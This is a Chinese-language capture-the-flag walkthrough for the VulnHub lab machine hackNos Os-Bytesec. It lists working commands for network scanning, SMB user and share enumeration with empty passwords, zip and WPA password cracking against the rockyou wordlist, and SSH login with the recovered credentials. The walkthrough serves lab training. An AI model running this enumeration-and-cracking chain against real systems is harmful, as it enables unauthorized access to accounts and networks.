Hacknos-OS-Bytesec靶机渗透测试

一、靶机下载地址

hackNos: Os-Bytesec ~ VulnHub

二、信息收集

1、主机发现

#使用命令
nmap 192.168.7.0/24 -sn | grep -B 2 '08:00:27:D9:03:37'

2、端口扫描

#使用命令
nmap 192.168.7.140 -p- -sV

3、指纹识别

#使用命令
whatweb http://192.168.7.140

4、目录扫描

#使用命令
dirsearch -u "http://192.168.7.140"

三、获取webshell

1、访问靶机IP，发现底部信息，转战SMB攻击

2、使用enum4linux工具与acccheck工具对目标主机查询用户信息与枚举用户密码，发现账户为smb且密码为空

#枚举目标用户
enum4linux -U 192.168.7.140

#acccheck工具下载地址
git clone https://github.com/qashqao/acccheck.git 

#acccheck工具的使用
cd acccheck
./acccheck.pl -t 192.168.7.140 -u smb -v

#注
acccheck.pl文件是没有权限的，得赋予权限才能使用
#使用命令
chmod 777 acccheck.pl

3、使用smbmap枚举靶机的共享资源并使用smbclient进行登录

#枚举靶机的共享资源
smbmap -u 'smb' -p '' -H 192.168.7.140     
#查看靶机的共享目录
smbclient -L 192.168.7.140 -U smb
#登录目标靶机  
smbclient //192.168.7.140/print$ -U smb    

4、尝试进入smb用户的目录下，发现有两个文件并使用get命令下载

#进入到smb用户目录下
smbclient //192.168.7.140/smb -U smb
#下载两个文件
get main.txt
get safe.zip

5、查看下载下来的文件main.txt中只有个字符串helo,而解压safe.zip需要密码，这里使用fcrackzip进行破解，得到压缩包密码:hacker1

#下载fcrackzip工具
apt-get install fcrackzip

#解压rockyou.txt.gz文件
cd /usr/share/wordlists/
gzip -d rockyou.txt.gz

#使用fcrackzip工具进行爆破
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip

6、解压safe.zip文件，得到secret.jpg和user.cap两个文件

#解压safe.zip文件
unzip safe.zip

7、解压缩包后发现两个文件secret.jpg图片文件和user.cap网络包文件并使用Wireshark查看为无线网络数据包，发现无线网络的SSID为blackjax.，这里使用aircrack-ng破解无线密码

#使用命令
aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap

8、上一步破解出无线名称密码为blackjax:snowflake尝试SSH登录目标主机，成功登录，获取flag

#使用命令
ssh blackjax@192.168.7.140 -p 2525